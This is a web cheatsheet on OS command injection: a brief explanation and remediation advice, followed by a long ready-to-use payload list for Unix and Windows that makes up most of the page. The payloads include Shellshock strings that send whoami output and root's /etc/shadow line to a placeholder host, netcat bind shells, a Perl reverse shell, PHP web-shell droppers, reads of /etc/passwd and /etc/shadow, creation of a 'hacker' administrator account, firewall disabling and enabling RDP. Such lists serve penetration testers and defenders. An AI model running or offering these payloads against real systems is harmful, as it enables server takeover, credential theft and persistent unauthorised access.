(https://hackersonlineclub.com)

/ March 9, 2019

Command Injection Cheatsheet

by Priyanshu Sahay(https://hackersonlineclub.com/author/hocit/)

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers, etc.) to a system shell.

In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code.

What is OS command injection?

OS command Injection is a critical vulnerability that allows attackers to gain complete control over an affected web site and the underlying web server.

OS command injection vulnerabilities arise when an application incorporates user data into an operating system command that it executes. An attacker can manipulate the data to cause their own commands to run. This allows the attacker to carry out any action that the application itself can carry out, including reading or modifying all of its data and performing privileged actions.

In addition to total compromise of the web server itself, an attacker can leverage a command injection vulnerability to pivot the attack in the organization's internal infrastructure, potentially accessing any system which the web server can access. They may also be able to create a persistent foothold within the organization, continuing to access compromised systems even after the original vulnerability has been fixed.

Description :

Operating system command injection vulnerabilities arise when an application incorporates user-controllable data into a command that is processed by a shell command interpreter. If the user data is not strictly validated, an attacker can use shell metacharacters to modify the command that is executed, and inject arbitrary further commands that will be executed by the server.

OS command injection vulnerabilities are usually very serious and may lead to compromise of the server hosting the application, or of the application's own data and functionality. It may also be possible to use the server as a platform for attacks against other systems. The exact potential for exploitation depends upon the security context in which the command is executed, and the privileges that this context has regarding sensitive resources on the server.

Remediation:

If possible, applications should avoid incorporating user-controllable data into operating system commands. In almost every situation, there are safer alternative methods of performing server-level tasks, which cannot be manipulated to perform additional commands than the one intended.

If it is considered unavoidable to incorporate user-supplied data into operating system commands, the following two layers of defense should be used to prevent attacks:

The user data should be strictly validated. Ideally, a whitelist of specific accepted values should be used. Otherwise, only short alphanumeric strings should be accepted. Input containing any other data, including any conceivable shell metacharacter or whitespace, should be rejected.

Also Read- Impact of JavaScript Injection Vulnerability(https://hackersonlineclub.com/javascript-injection-impact/)

The application should use command APIs that launch a specific process via its name and command-line parameters, rather than passing a command string to a shell interpreter that supports command chaining and redirection. For example, the Java API Runtime.exec and the ASP.NET API Process. Start do not support shell metacharacters. This defense can mitigate

Unix :

```
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
```

```
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
```

```
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
```

Windows :

```
`
||
|
;
'
'"
"
"'
&
&&
%0a
%0a%0d
%0Acat%20/etc/passwd
%0Aid
%0a id %0a
%0Aid%0A
%0a ping -i 30 127.0.0.1 %0a
%0A/usr/bin/id
%0A/usr/bin/id%0A
%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c
21 127.0.0.1` #\" |ping -n 21 127.0.0.1
%20{${phpinfo()}}
%20{${sleep(20)}}
%20{${sleep(3)}}
a|id|
a;id|
a;id;
a;id\n
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=16?
user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=18?
pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=20?
shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=22?
uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=24?
shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=26?
shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://[Web IP]/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://[Web
IP]/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
```

```
() { :;}; /bin/bash -c "sleep 3 && curl http://[Web
IP]/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://[Web
IP]/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://[Web
IP]/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=17?
user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=19?
pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=21?
shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=23?
uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=25?
shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=27?
shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://[Web IP]/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
() { :;}; curl http://[Web IP]/.testing/shellshock.txt?vuln=12
| curl http://example.com/.testing/rce.txt
& curl http://example.com/.testing/rce.txt
; curl https://example.com/.testing/rce_vuln.txt
&& curl https://example.com/.testing/rce_vuln.txt
curl https://example.com/.testing/rce_vuln.txt
curl https://example.com/.testing/rce_vuln.txt ||`curl
https://example/.testing/rce_vuln.txt` #' |curl
https://crowdshield.com/.testing/rce_vuln.txt||`curl
https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl
https://crowdshield.com/.testing/rce_vuln.txt
curl https://example.com/.testing/rce_vuln.txt ||`curl
https://example/.testing/rce_vuln.txt` #' |curl
https://crowdshield.com/.testing/rce_vuln.txt||`curl
https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl
https://crowdshield.com/.testing/rce_vuln.txt
$(`curl https://example.com/.testing/rce_vuln.txt?req=22jjffjbn`)
dir
| dir
; dir
$(`dir`)
& dir
&&dir
&& dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
```

```
dir C:\
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
| dir C:\Users
; dir C:\Users
& dir C:\Users
&& dir C:\Users
dir C:\Users
;echo%20'<script>alert(1)</script>'
echo '<img src=https://example.com/.testing/xss.js onload=prompt(2)
onerror=alert(3)></img>'// XXXXXXXXXXX
| echo "<?php include($_GET['page'])| ?>" > rfi.php
; echo "<?php include($_GET['page']); ?>" > rfi.php
& echo "<?php include($_GET['page']); ?>" > rfi.php
&& echo "<?php include($_GET['page']); ?>" > rfi.php
echo "<?php include($_GET['page']); ?>" > rfi.php
| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php
; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
| echo "<?php system($_GET['cmd'])| ?>" > cmd.php
; echo "<?php system($_GET['cmd']); ?>" > cmd.php
& echo "<?php system($_GET['cmd']); ?>" > cmd.php
&& echo "<?php system($_GET['cmd']); ?>" > cmd.php
echo "<?php system($_GET['cmd']); ?>" > cmd.php
;echo '<script>alert(1)</script>'
echo '<script>alert(1)</script>'// XXXXXXXXXXX
echo '<script src=https://example.com/.testing/xss.js></script>'//
XXXXXXXXXXX
| echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname
("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -
i");};" > rev.pl
; echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname
("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -
i");};" > rev.pl
& echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname
("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
i");};" > rev.pl
&& echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname
("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
```

```
i");};" > rev.pl
echo "use
Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname
("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
i");};" > rev.pl
() { :;}; echo vulnerable 10
eval('echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
eval('ls')
eval('pwd')
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
exec('echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```

```
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
exec('ls')
exec('pwd')
exec('pwd');
exec('sleep 5')
exec('sleep 5');
exec('whoami')
exec('whoami');
;{$_GET["cmd"]}
`id`
|id
| id
;id
;id|
;id;
& id
&&id
;id\n
ifconfig
| ifconfig
; ifconfig
& ifconfig
&& ifconfig
/index.html|id|
ipconfig
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
ls
$(`ls`)
| ls -l /
; ls -l /
& ls -l /
&& ls -l /
ls -l /
| ls -laR /etc
; ls -laR /etc
& ls -laR /etc
&& ls -laR /etc
| ls -laR /var/www
; ls -laR /var/www
& ls -laR /var/www
&& ls -laR /var/www
| ls -l /etc/
; ls -l /etc/
& ls -l /etc/
&& ls -l /etc/
```

```
ls -l /etc/
ls -lh /etc/
| ls -l /home/*
; ls -l /home/*
& ls -l /home/*
&& ls -l /home/*
ls -l /home/*
*; ls -lhtR /var/www/
| ls -l /tmp
; ls -l /tmp
& ls -l /tmp
&& ls -l /tmp
ls -l /tmp
| ls -l /var/www/*
; ls -l /var/www/*
& ls -l /var/www/*
&& ls -l /var/www/*
ls -l /var/www/*
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
\n
\n\033[2curl http://[Web IP]/.testing/term_escape.txt?vuln=1?user=\`whoami\`
\n\033[2wget http://[Web IP]/.testing/term_escape.txt?vuln=2?user=\`whoami\`
\n/bin/ls -al\n
| nc -lvvp 4444 -e /bin/sh|
; nc -lvvp 4444 -e /bin/sh;
& nc -lvvp 4444 -e /bin/sh&
&& nc -lvvp 4444 -e /bin/sh &
nc -lvvp 4444 -e /bin/sh
nc -lvvp 4445 -e /bin/sh &
nc -lvvp 4446 -e /bin/sh|
nc -lvvp 4447 -e /bin/sh;
nc -lvvp 4448 -e /bin/sh&
\necho INJECTX\nexit\n\033[2Acurl https://example.com/.testing/rce_vuln.txt\n
\necho INJECTX\nexit\n\033[2Asleep 5\n
\necho INJECTX\nexit\n\033[2Awget https://example.com/.testing/rce_vuln.txt\n
| net localgroup Administrators hacker /ADD
; net localgroup Administrators hacker /ADD
& net localgroup Administrators hacker /ADD
&& net localgroup Administrators hacker /ADD
net localgroup Administrators hacker /ADD
| netsh firewall set opmode disable
; netsh firewall set opmode disable
& netsh firewall set opmode disable
&& netsh firewall set opmode disable
netsh firewall set opmode disable
netstat
;netstat -a;
| netstat -an
; netstat -an
& netstat -an
```

```
&& netstat -an
netstat -an
| net user hacker Password1 /ADD
; net user hacker Password1 /ADD
& net user hacker Password1 /ADD
&& net user hacker Password1 /ADD
net user hacker Password1 /ADD
| net view
; net view
& net view
&& net view
net view
\nid|
\nid;
\nid\n
\n/usr/bin/id\n
perl -e 'print "X"x1024'
|| perl -e 'print "X"x16096'
| perl -e 'print "X"x16096'
; perl -e 'print "X"x16096'
& perl -e 'print "X"x16096'
&& perl -e 'print "X"x16096'
perl -e 'print "X"x16384'
; perl -e 'print "X"x2048'
& perl -e 'print "X"x2048'
&& perl -e 'print "X"x2048'
perl -e 'print "X"x2048'
|| perl -e 'print "X"x4096'
| perl -e 'print "X"x4096'
; perl -e 'print "X"x4096'
& perl -e 'print "X"x4096'
&& perl -e 'print "X"x4096'
perl -e 'print "X"x4096'
|| perl -e 'print "X"x8096'
| perl -e 'print "X"x8096'
; perl -e 'print "X"x8096'
&& perl -e 'print "X"x8096'
perl -e 'print "X"x8192'
perl -e 'print "X"x81920'
|| phpinfo()
| phpinfo()
{${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
<?php system("cat /etc/passwd");?>
<?php system("curl https://example.com/.testing/rce_vuln.txt?
```

```
method=phpsystem_get");?>
<?php system("curl https://example.com/.testing/rce_vuln.txt?req=df2fkjj");?>
<?php system("echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");?>
<?php system("sleep 10");?>
<?php system("sleep 5");?>
<?php system("wget https://example.com/.testing/rce_vuln.txt?
method=phpsystem_get");?>
<?php system("wget https://example.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
:phpversion();
`ping 127.0.0.1`
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;${@print(md5(RCEVulnerable))};
${@print("RCEVulnerable")}
${@print(system($_SERVER['HTTP_USER_AGENT']))}
pwd
| pwd
; pwd
& pwd
&& pwd
\r
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
&& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
\r\n
```

```
route
| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15
&& sleep 15
{${sleep(20)}}
{${sleep(20)}}
{${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
{${sleep(hexdec(dechex(20)))}}
{${sleep(hexdec(dechex(20)))}}
sysinfo
| sysinfo
; sysinfo
& sysinfo
&& sysinfo
;system('cat%20/etc/passwd')
system('cat C:\boot.ini');
system('cat config.php');
system('cat /etc/passwd');
|| system('curl https://example.com/.testing/rce_vuln.txt');
| system('curl https://example.com/.testing/rce_vuln.txt');
; system('curl https://example.com/.testing/rce_vuln.txt');
& system('curl https://example.com/.testing/rce_vuln.txt');
&& system('curl https://example.com/.testing/rce_vuln.txt');
system('curl https://example.com/.testing/rce_vuln.txt')
system('curl https://example.com/.testing/rce_vuln.txt?req=22fd2wdf')
system('curl https://example.com/.testing/rce_vuln.txt');
system('echo
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```

```
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
systeminfo
| systeminfo
; systeminfo
& systeminfo
&& systeminfo
system('ls')
system('pwd')
system('pwd');
|| system('sleep 5');
| system('sleep 5');
; system('sleep 5');
& system('sleep 5');
&& system('sleep 5');
system('sleep 5')
system('sleep 5');
system('wget https://example.com/.testing/rce_vuln.txt?req=22fd2w23')
system('wget https://example.com/.testing/rce_vuln.txt');
system('whoami')
system('whoami');
test*; ls -lhtR /var/www/
test* || perl -e 'print "X"x16096'
test* | perl -e 'print "X"x16096'
test* & perl -e 'print "X"x16096'
test* && perl -e 'print "X"x16096'
test*; perl -e 'print "X"x16096'
$(`type C:\boot.ini`)
